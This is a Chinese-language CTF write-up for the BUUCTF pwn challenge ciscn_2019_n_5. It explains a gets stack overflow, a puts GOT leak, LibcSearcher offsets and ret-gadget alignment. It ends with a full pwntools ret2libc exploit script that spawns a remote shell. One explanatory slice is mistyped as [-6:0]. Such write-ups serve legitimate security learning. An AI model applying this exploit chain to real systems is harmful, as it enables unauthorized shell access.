1.检查是64位ELF文件,保护都未打开,RWX。用ida反编译F5得到伪代码。
2.有的人用shellcode可以做出来,但是不知道为什么虚拟机打不通,也没有找到后门函数,那用泄露libc地址做。程序流程是先输入名字到name(正好也是100字节,不会溢出),后面再gets到text里。(后面还跟了一个name没看懂,没有关系)。到这一步之前已经执行过puts函数了,这样泄露puts的libc。
3.注意这是64位程序,前六个寄存器的存储(之前文章有),第一个payload由覆盖数据,rdi地址,got地址和plt地址以及最后的mian_addr()构成(返回函数正常运行),得到puts的libc,根据公式写出bin/sh和system地址;第二个payload在填充垃圾数据后要加上返回地址(ret_addr = 0x4004C9),之后再加上rdi地址,bin和system。(payload2中添加了返回地址(ret_addr),这是为了控制函数返回后的执行流程。在某些题目中,不需要手动设置返回地址,因为程序的执行流程不依赖于返回地址的修改。 这取决于程序的逻辑和漏洞利用的方式,有些情况下可以直接利用函数调用关系来执行特定代码)(以后了解得更透彻再解释~)
4.ROPgadget --binary ciscn_2019_n_5 --only 'ret'命令获取ret地址,在rdi之前加上。同时注意在获取puts_addr时,u64(io.recvuntil(b'\x7f')[-6:0].ljust(8,b'\x00'))意识是接受数据直到\x7f(ASCⅡ代码是DEL字符)的最后六位([-6:]切片意思是去末尾6位)往右补充\x00直到8位(ljust是左对齐(left)往右补充),最后补充转为u64(8字节字符串数据转化为无符号整型数据)作为地址。
完整wp如下:
from pwn import*
from LibcSearcher import*
io = remote('nodex.buuoj.cn',XXX)
#io = process('./ciscn_2019_n_5')
elf = ELF('./ciscn_2019_n_5')
rdi_addr = 0x400713
main_addr = elf.sym['main']
#print(hex(main_addr))
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload1 = b'a'*(0x20+0x8) +p64(rdi_addr)
payload1+=p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter("tell me your name",b'1')
io.sendlineafter("What do you want to say to me?",payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_addr = libc_base + libc.dump('str_bin_sh')
payload2 = b'a'*(0x20+0x8) +p64(0x4004C9)+ p64(rdi_addr)#ret_addr = 0x4004C9
payload2+=p64(bin_addr)+ p64(sys_addr)
io.sendlineafter("name",b'1')
io.recvuntil('me?\n')
io.sendline(payload2)
io.interactive()